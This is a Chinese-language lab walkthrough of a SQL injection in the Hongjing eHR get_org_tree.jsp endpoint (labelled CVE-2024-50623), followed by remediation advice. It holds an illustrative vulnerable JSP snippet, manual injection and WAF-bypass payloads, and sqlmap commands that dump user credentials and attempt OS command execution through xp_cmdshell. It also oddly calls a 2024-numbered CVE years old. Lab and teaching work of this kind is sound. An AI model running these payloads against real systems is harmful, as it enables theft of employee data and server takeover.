CVE-2024-50623漏洞复现:从SQL注入原理到宏景eHR实战利用
1. 项目概述与背景
最近在梳理一些历史遗留系统的安全风险时,宏景eHR系统的一个老漏洞又进入了我的视野。这个漏洞的编号是CVE-2024-50623,核心触发点在get_org_tree.jsp这个文件上,一个典型的SQL注入漏洞。虽然这个漏洞已经有些年头了,相关的补丁也早已发布,但直到今天,在一些未及时更新的老旧系统或内网测试环境中,依然能发现它的踪迹。复现和研究这类漏洞,不是为了去攻击谁,而是作为安全从业者或开发人员,我们必须理解攻击是如何发生的,才能更好地在代码层面进行防御。今天,我就以一个“攻击者”的视角,带你完整走一遍这个漏洞的复现过程,同时深入拆解其背后的原理、利用手法,以及最重要的——我们该如何避免写出这样的代码。
宏景eHR作为一款曾经广泛应用的人力资源管理系统,其架构是典型的B/S模式,后端使用JSP+Java,数据库多为Oracle或SQL Server。get_org_tree.jsp这个文件,从名字就能猜到,是用来获取组织架构树形数据的接口。问题就出在它处理前端参数时,直接将其拼接到了SQL语句中,没有经过任何有效的过滤或预编译处理,这就为SQL注入打开了大门。通过这个漏洞,攻击者可以读取数据库中的敏感信息,比如员工账号、密码哈希、薪资数据,甚至获取数据库服务器的控制权,危害极大。下面,我们就从环境搭建开始,一步步揭开它的面纱。
2. 漏洞环境搭建与核心原理剖析
2.1 实验环境准备
要复现漏洞,首先得有一个“靶子”。我强烈建议所有学习者在虚拟机或完全隔离的网络环境中进行此类实验,绝对不要在生产环境或任何公网系统上尝试。
1. 靶机环境:我选择在VMware中安装一台Windows Server 2008 R2的虚拟机,这比较符合当年宏景eHR系统常见的部署环境。在虚拟机中,你需要安装以下组件:
- Java环境:JDK 1.7或1.8。宏景eHR对JDK版本有一定要求,1.8是一个比较兼容的选择。安装后务必配置好
JAVA_HOME和Path环境变量。 - Web服务器:Apache Tomcat 7.x。下载Windows Service Installer版本,安装时选择将Tomcat作为服务运行,并设置一个你能记住的管理员密码。
- 数据库:Microsoft SQL Server 2008 R2 Express。安装时选择混合身份验证模式(Windows身份验证和SQL Server身份验证),并为
sa账户设置一个强密码。安装完成后,记得通过SQL Server Management Studio (SSMS)启用TCP/IP协议,这是远程连接的关键。 - 漏洞应用:你需要找到包含漏洞版本的宏景eHR安装包。通常,这是一个WAR包或者一套JSP文件。将应用部署到Tomcat的
webapps目录下。例如,将HJEHR文件夹复制到webapps目录,Tomcat启动时会自动解压部署。
2. 攻击机环境:我使用另一台Kali Linux虚拟机作为攻击机,上面集成了我们需要的所有工具。
- 系统:Kali Linux 2024.x。
- 必要工具:
sqlmap:自动化SQL注入检测与利用的神器。Burp Suite:用于拦截和修改HTTP请求,手动测试注入点。Nmap:用于扫描靶机开放端口和服务。- 浏览器(带代理插件,如FoxyProxy)。
环境联通性检查:确保攻击机能ping通靶机的IP地址。在Kali上使用nmap -sV <靶机IP>扫描,确认靶机的80/8080(Tomcat)和1433(SQL Server)端口是开放的。
注意:所有软件请务必从官方或可信源下载旧版本。搭建这类环境本身就是一个学习过程,你会遇到各种兼容性问题,比如某个JAR包冲突、数据库驱动版本不对等。我的经验是,详细记录每一步操作和报错,善用搜索引擎,这些问题都能解决。
2.2 漏洞原理深度解析
为什么get_org_tree.jsp会存在SQL注入?我们来看一段高度还原的漏洞代码逻辑(非真实源码,但原理一致):
<% // 从前端请求中直接获取‘id’参数 String orgId = request.getParameter("id"); // 危险操作:直接将用户输入拼接到SQL语句中 String sql = "SELECT * FROM H_ORG WHERE ORG_ID = " + orgId + " AND IS_VALID = 1"; Connection conn = ... // 获取数据库连接 Statement stmt = conn.createStatement(); // 创建Statement对象 ResultSet rs = stmt.executeQuery(sql); // 执行拼接后的SQL // ... 后续处理结果集 %>关键问题分析:
- 使用
Statement而非PreparedStatement:这是根源。Statement接口用于执行静态SQL语句。当SQL字符串通过“+”号拼接用户输入(orgId)时,用户输入的内容就成为了SQL语法的一部分。 - 缺乏输入验证与过滤:代码没有对
orgId参数进行任何合法性检查。它可能期望一个数字,但如果用户传入的是1 OR 1=1 --,整个SQL语义就被篡改了。 - 错误信息回显:这类系统在开发调试阶段,常常将数据库错误信息直接返回给前端。这给了攻击者极大的便利,他们可以通过精心构造的输入,触发并观察数据库报错,从而推断出数据库类型、表结构等信息。这就是所谓的“基于错误回显的SQL注入”。
漏洞利用链推演:攻击者访问的URL可能形如:http://<靶机IP>:8080/HJEHR/get_org_tree.jsp?id=PAYLOAD
- 当
PAYLOAD为1时,执行SELECT * FROM H_ORG WHERE ORG_ID = 1 - 当
PAYLOAD为1 AND 1=2时,逻辑为假,页面可能返回空或异常,用于探测注入点是否可用。 - 当
PAYLOAD为1 OR 1=1 --时,执行SELECT * FROM H_ORG WHERE ORG_ID = 1 OR 1=1 -- AND IS_VALID = 1。--在SQL Server和Oracle中是注释符,它注释掉了后面的AND IS_VALID = 1,而1=1永远为真,这意味着这条语句可能会返回H_ORG表中的所有数据。
3. 手动漏洞探测与信息收集
在动用自动化工具之前,手动探测能帮助我们更深刻地理解漏洞的本质。这里我们使用Burp Suite作为主要工具。
3.1 初步探测与注入点确认
- 配置代理:在浏览器中配置代理指向Burp Suite(默认127.0.0.1:8080),并安装Burp的CA证书以拦截HTTPS流量。
- 访问页面:在浏览器中访问靶机上的eHR系统,找到可能调用组织树功能的页面。通常这类请求会在页面加载时自动发起。
- 拦截请求:打开Burp的Proxy拦截功能,刷新页面。在HTTP历史记录中,寻找类似
get_org_tree.jsp或包含tree、org等关键词的请求。找到目标请求,将其发送到Burp的Repeater模块,方便我们反复测试。 - 基础探测:假设请求参数是
id=100。- 正常请求:发送
id=100,观察返回结果,通常是一段JSON或XML格式的组织数据。 - 逻辑真测试:发送
id=100 AND 1=1。如果页面正常返回,与id=100结果一致,说明参数可能被带入SQL执行。 - 逻辑假测试:发送
id=100 AND 1=2。如果页面返回空、报错或与正常结果明显不同,这是一个强烈的SQL注入迹象。因为1=2为假,整个查询条件不成立。 - 注释符测试:发送
id=100--`(注意空格)。如果页面依然正常返回,说明注释符生效,进一步确认了注入。
- 正常请求:发送
3.2 判断数据库类型
不同数据库的SQL语法和函数略有不同,判断数据库类型是后续利用的基础。我们通过报错信息或特有函数来识别。
方法一:基于报错信息构造一个必然出错的Payload:
id=100 AND (SELECT * FROM (SELECT 1)a) = 1如果返回错误信息中包含“SQL Server”或“Microsoft”字样,基本可以确定是MSSQL。如果包含“ORA-”开头,则是Oracle。方法二:使用数据库特有函数
- 测试SQL Server:
id=100 AND @@version>0@@version是SQL Server的系统变量,存放版本信息。如果页面正常(或返回包含版本信息的错误),则是SQL Server。 - 测试Oracle:
id=100 AND (SELECT banner FROM v$version WHERE rownum=1) IS NOT NULLv$version是Oracle的系统视图。如果页面正常,可能是Oracle。
- 测试SQL Server:
在我的测试环境中,使用@@version触发了包含“Microsoft SQL Server”字样的错误信息,从而确定了数据库类型为SQL Server。
实操心得:手动探测时,Burp Repeater的“Compare”功能非常好用。你可以同时发送原始请求和测试请求,然后高亮显示差异,能非常直观地看到页面内容的变化,比肉眼对比高效得多。
4. 利用SQLMap进行自动化深度利用
手动验证了注入点后,我们可以使用sqlmap这个自动化工具来高效地获取数据。它的强大之处在于能自动识别注入类型、数据库,并提供了丰富的数据提取功能。
4.1 基础探测与数据库枚举
首先,我们将Burp中拦截到的完整HTTP请求保存到一个文本文件中,比如req.txt。这样可以将Cookie、User-Agent等头部信息一并提供给sqlmap,模拟真实的浏览器会话。
# 1. 确认注入点并获取当前数据库 sqlmap -r req.txt --batch --current-db # 参数解释: # -r req.txt: 从文件中加载HTTP请求 # --batch: 以非交互模式运行,所有默认选项都选Yes,适合自动化 # --current-db: 获取当前应用使用的数据库名执行后,sqlmap会先进行一系列测试,然后输出类似current database: 'HREmployee'的结果。
# 2. 枚举指定数据库中的所有表 sqlmap -r req.txt --batch -D HREmployee --tables # 参数解释: # -D HREmployee: 指定目标数据库名 # --tables: 枚举该库下的所有表这一步会列出HREmployee数据库里所有的表名。作为人力资源系统,我们需要重点关注诸如T_User(用户表)、T_Salary(薪资表)、T_Person(人员信息表)等敏感表。
4.2 提取敏感表结构与数据
假设我们发现了T_User表,下一步就是查看它的结构和数据。
# 3. 枚举指定表的所有列名 sqlmap -r req.txt --batch -D HREmployee -T T_User --columns # 参数解释: # -T T_User: 指定目标表名 # --columns: 枚举该表的所有列输出会显示列名和数据类型,例如:UserID(int),UserName(varchar),Password(varchar),RealName(varchar)等。
# 4. 导出指定列的数据 sqlmap -r req.txt --batch -D HREmployee -T T_User -C "UserName,Password,RealName" --dump # 参数解释: # -C "UserName,Password,RealName": 指定要导出的列 # --dump: 导出这些列的所有数据这是最关键的一步,sqlmap会将T_User表中所有用户的账号、密码(通常是哈希值,如MD5)和真实姓名导出到本地。如果密码哈希强度不高(如单纯的MD5),攻击者可以通过彩虹表进行破解,从而获得系统登录权限。
4.3 高级利用:获取操作系统Shell
在极少数配置不当的情况下,如果数据库服务以高权限运行(如sa账户),并且启用了xp_cmdshell等存储过程,SQL注入甚至可以导致远程命令执行(RCE)。
# 5. 检查是否是DBA权限 sqlmap -r req.txt --batch --is-dba # 如果返回True,说明当前数据库用户具有管理员权限。 # 6. 尝试执行操作系统命令(需xp_cmdshell已启用) sqlmap -r req.txt --batch --os-cmd "whoami" # --os-cmd: 尝试执行操作系统命令请注意:现代或安全配置的SQL Server默认禁用xp_cmdshell。sqlmap会先尝试启用它,但这通常需要很高的权限并可能触发安全告警。在实际渗透测试中,这一步需格外谨慎,并确保已获得明确授权。
注意事项:使用
sqlmap的--batch模式虽然方便,但有时会过于“暴力”,可能产生大量异常请求。在生产环境授权的渗透测试中,我更喜欢结合--level和--risk参数精细控制测试深度,并使用--threads控制并发数,减少对目标系统的影响。例如:sqlmap -r req.txt --level 3 --risk 2 --threads 5
5. 漏洞修复方案与安全编码实践
复现漏洞是为了更好地修复和防御。针对这类SQL注入漏洞,修复方案是明确且直接的。
5.1 立即修复方案
- 使用预编译语句(PreparedStatement):这是根治SQL注入的唯一最佳实践。它将SQL语句的骨架(带占位符
?)与数据参数分开传送给数据库,数据库会先编译SQL骨架,再将参数作为纯数据处理,从根本上杜绝了参数被解释为代码的可能。// 修复后的代码示例 String sql = "SELECT * FROM H_ORG WHERE ORG_ID = ? AND IS_VALID = 1"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setInt(1, Integer.parseInt(orgId)); // 设置参数,并转换为期望的类型 ResultSet rs = pstmt.executeQuery(); - 输入验证与过滤:在参数进入SQL之前,进行严格的验证。例如,如果
id应该是数字,就使用Integer.parseInt()转换,并捕获NumberFormatException异常,对于非数字输入直接拒绝。 - 最小权限原则:为Web应用连接数据库的账户分配最小必要的权限。通常只授予其对特定表的
SELECT权限,绝不使用sa或dbo这样的高权限账户。这样即使发生注入,危害也被限制在有限范围内。 - 关闭错误回显:在生产环境中,配置Web服务器和应用程序,不要将详细的数据库错误信息直接返回给用户。应使用统一的、友好的错误页面。
5.2 长期安全开发规范
- ORM框架:在新项目或重构时,积极使用MyBatis、Hibernate、JPA等ORM框架。这些框架通常内部使用预编译语句,并能提供更安全、便捷的数据访问方式。但要注意:即使使用MyBatis,如果错误地使用
${}进行字符串拼接(ORDER BY ${sortField}),同样存在注入风险,必须使用#{}。 - 安全扫描与代码审计:将静态应用程序安全测试(SAST)工具,如Fortify、Checkmarx、SonarQube,集成到CI/CD流程中。定期对代码进行人工安全审计,重点关注数据访问层。
- Web应用防火墙(WAF):在应用前端部署WAF,可以拦截常见的SQL注入攻击Payload,作为一道有效的边界防护。但它不能替代安全的代码,应视为纵深防御的一环。
- 定期更新与补丁管理:关注官方安全公告,如宏景官方发布的针对CVE-2024-50623的补丁,并及时应用到所有相关系统。
6. 复现过程中的常见问题与排查
在复现这个漏洞时,你可能会遇到以下几个典型问题:
问题1:访问get_org_tree.jsp返回404或500错误。
- 排查:
- 确认应用是否成功部署到Tomcat。检查
webapps目录下是否存在对应的应用文件夹(如HJEHR),以及文件夹内是否有get_org_tree.jsp文件。 - 检查Tomcat日志文件(
logs/catalina.out或logs/localhost.yyyy-MM-dd.log),查看是否有类加载失败、数据库连接失败等错误信息。常见的如缺少JDBC驱动JAR包,需要将sqljdbc4.jar或ojdbc.jar放入应用的WEB-INF/lib目录下。 - 确认数据库服务(SQL Server)是否已启动,并且Tomcat配置的数据源连接字符串(通常在
context.xml或web.xml中)是否正确。
- 确认应用是否成功部署到Tomcat。检查
问题2:手动测试时,无论输入什么Payload,页面都返回相同的错误或空白。
- 排查:
- 可能参数名不对。使用Burp抓取页面加载时的所有请求,仔细寻找与组织树相关的请求,参数名可能是
node、orgId、parentId等,不一定是id。 - 可能注入点不在
GET参数,而在POST参数、Cookie或HTTP头部。Burp Suite的“Params”选项卡会清晰地列出所有参数位置。 - 可能存在简单的过滤,如过滤了空格。尝试使用注释符
/**/代替空格:id=100/**/AND/**/1=1。 - 可能不是数字型注入,而是字符型注入。尝试在参数值前后加上单引号:
id=100' AND '1'='1。
- 可能参数名不对。使用Burp抓取页面加载时的所有请求,仔细寻找与组织树相关的请求,参数名可能是
问题3:SQLMap运行后报告“所有测试参数似乎都不注入”。
- 排查:
- 检查
req.txt文件格式是否正确,是否包含了完整的HTTP请求(包括Cookie、Host等头部)。 - 可能网站有CSRF Token或动态Session验证。尝试使用
--csrf-token和--csrf-url参数,或者使用--random-agent和--keep-alive来模拟更真实的会话。 - 可能WAF或简单的防护机制拦截了
sqlmap的测试流量。尝试使用--tamper参数,如--tamper=space2comment,对Payload进行混淆。 - 回到手动测试,用Burp Repeater确认注入点确实存在且可被利用。
- 检查
问题4:使用--os-cmd参数执行命令失败。
- 排查:
- 首先用
--is-dba确认不是DBA权限。 - 即使用户是DBA,
xp_cmdshell存储过程也可能被禁用。SQL Server默认禁用。sqlmap会尝试用sp_configure启用它,但这需要ALTER SETTINGS服务器权限,且可能失败。 - 考虑其他命令执行途径,如利用SQL Server的
OLE Automation Procedures(sp_oacreate等),但这同样需要特定权限且可能被禁用。 - 重要:在真实授权测试中,获取命令执行权限是高风险操作,必须有明确的授权范围和应急方案。在内网靶场练习时,可以深入研究这些技术原理。
- 首先用
整个复现过程,从环境搭建的琐碎,到手动探测的惊喜,再到工具利用的效率,最后回归到安全防御的本质,是一次非常完整的安全研究体验。它再次印证了一个铁律:所有外部输入都是不可信的。作为开发者,必须在脑海里绷紧这根弦,将参数化查询作为数据库操作的肌肉记忆。而作为安全人员,理解攻击链的每一步,才能设计出更有效的防御策略和检测规则。这个漏洞本身并不复杂,但它像一面镜子,映照出我们在软件开发生命周期中,安全环节的缺失与宝贵。
